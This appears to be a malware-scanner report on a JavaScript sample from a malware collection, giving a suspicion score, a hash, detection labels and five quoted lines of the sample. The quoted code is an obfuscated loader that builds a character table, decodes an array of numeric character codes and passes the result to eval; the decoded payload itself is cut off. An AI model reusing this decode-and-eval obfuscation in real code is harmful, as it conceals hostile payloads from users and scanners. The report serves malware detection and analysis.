Suspicious ^80% javascript-malware-collection Download

20151209_2238afbc902c11f09e7cd6a17ee1e0dd.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256f32b6160b1bc201dcff03f2dd2d1e48596da78d54bd3c39111fc0fc79b6074ce

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var ddaCRdIjyjddY=[];for(OgznUYx=(-543+543)/917;OgznUYx<(102471+185)/802;OgznUYx++){ddaCRdIjyjddY[OgznUYx]=String.fromCharCode(OgznUYx)}function udBRR(qNqTIuabAHU,xFyxcWPOsQmpc,WuTMfCDg){WJbC=parseInt(qNqTIuabAHU,xFyxcWPOsQmpc);fpzSK=WJbC.toString(WuTMfCDg);return fpzSK;}function qlIiOVAeCbIYMnv(enZFwgUTmbHEJAWHA){eval(enZFwgUTmbHEJAWHA)}
2function FtlhQWiBeRWfIeWPQcnsXTwJnYLKhXNkjcjirnoHmtzrHNlCbuVXhZ(KfEaKPeCXwfXP,wQjtibzztehSmH){ return ddaCRdIjyjddY[udBRR(KfEaKPeCXwfXP[wQjtibzztehSmH],(8465+475)/894,(3744+506)/425)];}
3function hXurYJh(BGIqKuaLfcwXuBlJeCQzChnOiLuXWFSVeCHP) {return !isNaN(parseFloat(BGIqKuaLfcwXuBlJeCQzChnOiLuXWFSVeCHP)) && isFinite(BGIqKuaLfcwXuBlJeCQzChnOiLuXWFSVeCHP);}
4function NuPJOMYARyN(fCOKLzxE,gsExLT){return fCOKLzxE.split(gsExLT)}
5var A=[];A.push("13");A.push("10");A.push("13");A.push("10");A.push("118");A.push("97");A.push("114");A.push("32");A. …